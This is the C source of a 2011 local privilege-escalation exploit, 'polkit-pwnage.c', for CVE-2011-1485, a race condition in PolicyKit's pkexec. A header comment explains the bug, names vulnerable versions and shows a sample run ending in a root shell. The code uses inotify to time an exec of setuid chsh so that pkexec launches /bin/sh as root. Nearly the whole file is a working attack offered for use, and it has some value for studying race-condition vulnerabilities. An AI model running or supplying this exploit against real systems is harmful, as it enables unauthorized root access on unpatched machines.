/* polkit-pwnage.c
*
*
* ==============================
* = PolicyKit Pwnage =
* = by zx2c4 =
* = Sept 2, 2011 =
* ==============================
*
*
* Howdy folks,
*
* This exploits CVE-2011-1485, a race condition in PolicyKit.
*
* davidz25 explains:
*
* –begin–
* Briefly, the problem is that the UID for the parent process of pkexec(1) is
* read from /proc by stat(2)’ing /proc/PID. The problem with this is that
* this returns the effective uid of the process which can easily be set to 0
* by invoking a setuid-root binary such as /usr/bin/chsh in the parent
* process of pkexec(1). Instead we are really interested in the real-user-id.
* While there’s a check in pkexec.c to avoid this problem (by comparing it to
* what we expect the uid to be – namely that of the pkexec.c process itself which
* is the uid of the parent process at pkexec-spawn-time), there is still a short
* window where an attacker can fool pkexec/polkitd into thinking that the parent
* process has uid 0 and is therefore authorized. It’s pretty hard to hit this
* window – I actually don’t know if it can be made to work in practice.
* –end–
*
* Well, here is, in fact, how it’s made to work in practice. There is as he said an
* attempted mitigation, and the way to trigger that mitigation path is something
* like this:
*
* $ sudo -u `whoami` pkexec sh
* User of caller (0) does not match our uid (1000)
*
* Not what we want. So the trick is to execl to a suid at just the precise moment
* /proc/PID is being stat(2)’d. We use inotify to learn exactly when it’s accessed,
* and execl to the suid binary as our very next instruction.
*
* ** Usage **
* $ pkexec –version
* pkexec version 0.101
* $ gcc polkit-pwnage.c -o pwnit
* $ ./pwnit
* [+] Configuring inotify for proper pid.
* [+] Launching pkexec.
* sh-4.2# whoami
* root
* sh-4.2# id
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
* sh-4.2#
*
* ** Targets **
* This exploit is known to work on polkit-1 <= 0.101. However, Ubuntu, which
* as of writing uses 0.101, has backported 0.102′s bug fix. A way to check
* this is by looking at the mtime of /usr/bin/pkexec — April 22, 2011 or
* later and you’re out of luck. It’s likely other distributions do the same.
* Fortunately, this exploit is clean enough that you can try it out without
* too much collateral.
*
*
* greets to djrbliss and davidz25.
*
* – zx2c4
* 2-sept-2011
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/inotify.h>
int main(int argc, char **argv)
{
printf("=============================\n");
printf("= PolicyKit Pwnage =\n");
printf("= by zx2c4 =\n");
printf("= Sept 2, 2011 =\n");
printf("=============================\n\n");
if (fork()) {
int fd;
char pid_path[1024];
sprintf(pid_path, "/proc/%i", getpid());
printf("[+] Configuring inotify for proper pid.\n");
close(0); close(1); close(2);
fd = inotify_init();
if (fd < 0)
perror("[-] inotify_init");
inotify_add_watch(fd, pid_path, IN_ACCESS);
read(fd, NULL, 0);
execl("/usr/bin/chsh", "chsh", NULL);
} else {
sleep(1);
printf("[+] Launching pkexec.\n");
execl("/usr/bin/pkexec", "pkexec", "/bin/sh", NULL);
}
return 0;
}
